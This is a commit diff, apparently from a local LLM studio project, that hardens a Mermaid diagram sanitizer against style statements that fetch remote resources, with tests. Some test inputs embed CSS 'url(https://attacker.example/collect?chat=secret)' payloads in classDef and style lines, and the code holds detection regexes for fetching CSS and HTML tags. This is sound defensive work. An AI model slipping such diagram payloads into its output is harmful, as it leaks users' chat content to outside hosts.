Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Studio: a mermaid style statement after a semicolon or mid-line cannot fetch either (#14526)
Daniel Han218232b7a1c0
diff --git a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts b/studio/frontend/src/components/assistant-ui/mermaid-guard.tsindex c3a74244a2d..775247b4c4f 100644--- a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts+++ b/studio/frontend/src/components/assistant-ui/mermaid-guard.ts@@ -19,8 +19,12 @@ const FETCHING_TAG =/<(?=\/?(?:img|image|picture|source|video|audio|track|input|iframe|frame|embed|object|link|style|svg|use|meta|base|body|table|thead|tbody|tr|td|th)\b)/gi;// A style rule that could name a resource: CSS functions that load one, or an escape hiding one.-const STYLE_LINE = /^[^\S\n]*(?:classDef|style|linkStyle)\b.*$/gim;+// A statement may follow `;`; a stateDiagram classDef runs to end of line, so cut from the keyword on.+const STYLE_START = /(^|[;\s])[^\S\n]*(?:classDef|style|linkStyle)\b/gi;const STYLE_FETCH = /\\|url\s*\(|image(?:-set)?\s*\(|cross-fade\s*\(|element\s*\(|@import/i;+const STYLE_FETCHES = new RegExp(STYLE_FETCH.source, "gi");+// These lexers take a style statement mid-line after a space and allow brackets in ids: every keyword counts.+const MIDLINE_STYLE = /^[^\S\n]*(?:stateDiagram|erDiagram|block(?:-beta)?|requirementDiagram)\b/im;// An HTML label tag with a style attribute; its CSS can fetch (background-image and the like).const STYLED_TAG = /<([a-z][^<>]*\bstyle\s*=[^<>]*)/gi;@@ -103,6 +107,29 @@ function withoutRemoteIcon(json: string): string | null {return ` ${JSON.stringify(rest)}`;}+/** Outside `midLine` diagrams a statement starts a line or follows `;`; one inside a quoted or bracketed label is text. */+function withoutFetchingStyle(line: string, midLine: boolean): string {+ let lastFetch = -1;+ for (const found of line.matchAll(STYLE_FETCHES)) lastFetch = found.index;+ if (lastFetch < 0) return line;+ let depth = 0;+ let quoted = false;+ let at = 0;+ for (const match of line.matchAll(STYLE_START)) {+ const start = match.index + match[1].length;+ if (start > lastFetch) break;+ if (midLine) return line.slice(0, start);+ for (; at < start; at++) {+ const ch = line[at];+ if (ch === '"') quoted = !quoted;+ else if (!quoted && "[({".includes(ch)) depth++;+ else if (!quoted && ")]}".includes(ch)) depth = Math.max(0, depth - 1);+ }+ if (start === 0 || (match[1] === ";" && !quoted && depth === 0)) return line.slice(0, start);+ }+ return line;+}+/** The diagram source with every image or style that would load from elsewhere taken out. */export function stripRemoteDiagramImages(source: string): string {let out = "";@@ -117,6 +144,8 @@ export function stripRemoteDiagramImages(source: string): string {}out += source.slice(at);if (SEQUENCE.test(scanned)) out = out.replace(DETAILS_LINE, "");+ // Mermaid reads the diagram type after dropping directives: `%%{init}%%stateDiagram` counts.+ const midLine = MIDLINE_STYLE.test(scanned.replace(DIRECTIVE, ""));return out.replace(DIRECTIVE, (block) => (STYLE_FETCH.test(block) ? "" : block)).replace(FRONT_MATTER, (block) => (STYLE_FETCH.test(block) ? "" : block))@@ -128,7 +157,7 @@ export function stripRemoteDiagramImages(source: string): string {});return CSS_FETCH.test(decoded) ? `#lt;${tag}` : whole;})- .replace(STYLE_LINE, (line) => (STYLE_FETCH.test(line) ? "" : line))+ .replace(/^.*$/gm, (line) => withoutFetchingStyle(line, midLine)).replace(ACTOR_PROPERTIES, (whole, lead: string, head: string, json: string) => {const replaced = withoutRemoteIcon(json);return replaced === null ? whole : `${lead}${head}${replaced}`;diff --git a/studio/frontend/tests/mermaid-remote-images.test.ts b/studio/frontend/tests/mermaid-remote-images.test.tsindex 3b6d8e61d57..019fa558685 100644--- a/studio/frontend/tests/mermaid-remote-images.test.ts+++ b/studio/frontend/tests/mermaid-remote-images.test.ts@@ -53,6 +53,14 @@ const ORDINARY = ['sequenceDiagram\n participant Alice\n properties Alice: {"class": "internal-service-actor-box"}\n Alice->>Bob: hi',"gantt\n title Plan\n dateFormat YYYY-MM-DD\n section A\n Task 1 :a1, 2024-01-01, 30d","pie title Pets\n \"Dogs\" : 386\n \"Cats\" : 85",+ "flowchart LR; A[Start]-->B[End]; style A fill:#f96; style B fill:#bbf",+ "stateDiagram-v2\n A --> B; classDef x fill:#f96\n class A x",+ // The word in a label is text, even next to a backslash or `url(`.+ 'flowchart LR\n A["Style transfer\\nmodel"] --> B',+ 'flowchart LR\n A["see; style C:\\temp"] --> B',+ "flowchart LR\n A(style url(x)) --> B",+ "flowchart LR\n A -->|style url(x)| B",+ "sequenceDiagram\n Alice->>Bob: apply style from url(parameter)",];for (const source of ORDINARY) {@@ -68,6 +76,36 @@ test("the remote image key is dropped and the rest of the node kept", () => {);});+test("a style statement after a semicolon cannot fetch either", () => {+ const url = "url(https://attacker.example/collect?chat=secret)";+ for (const [source, kept] of [+ [`stateDiagram-v2\n A --> B; classDef x fill:${url}\n class A x`, "stateDiagram-v2\n A --> B;\n class A x"],+ // A stateDiagram classDef runs to the end of the line, past any `;`.+ [`stateDiagram-v2\n classDef x fill:#f96;background:${url}\n class A x`, "stateDiagram-v2\n\n class A x"],+ [`flowchart LR; A-->B; style A fill:${url}`, "flowchart LR; A-->B;"],+ // A stateDiagram also takes a statement after a space, with no `;` before it.+ [`stateDiagram-v2\n A --> B classDef x fill:${url}\n class A x`, "stateDiagram-v2\n A --> B \n class A x"],+ [`stateDiagram-v2\n [*] --> A\tclassDef x mask:${url}\n class A x`, "stateDiagram-v2\n [*] --> A\t\n class A x"],+ // A statement after a label that mentions the word is still caught.+ [`stateDiagram-v2\n state "a style x" as A\n A --> B classDef x fill:${url}`, 'stateDiagram-v2\n state "a style x" as A\n A --> B '],+ // The diagram type is read after a directive on the same line.+ [`%%{init: {}}%%stateDiagram-v2\n A --> B classDef x fill:${url}\n class B x`, "%%{init: {}}%%stateDiagram-v2\n A --> B \n class B x"],+ // State ids may hold brackets; they are not labels there.+ [`stateDiagram-v2\n A( --> B classDef x fill:${url}\n class B x`, "stateDiagram-v2\n A( --> B \n class B x"],+ ]) {+ const out = stripRemoteDiagramImages(source);+ assert.equal(out, kept);+ assert.equal(stripRemoteDiagramImages(out), out);+ }+});++test("a long line of style words is scanned in linear time", () => {+ const line = `flowchart LR\n A["${"style ".repeat(20000)}"] --> B; style A fill:url(https://attacker.example/x)`;+ const started = performance.now();+ assert.equal(stripRemoteDiagramImages(line), `flowchart LR\n A["${"style ".repeat(20000)}"] --> B;`);+ assert.ok(performance.now() - started < 1000);+});+test("every surface that draws a diagram uses the guarded plugin", () => {for (const path of ["components/assistant-ui/markdown-text.tsx",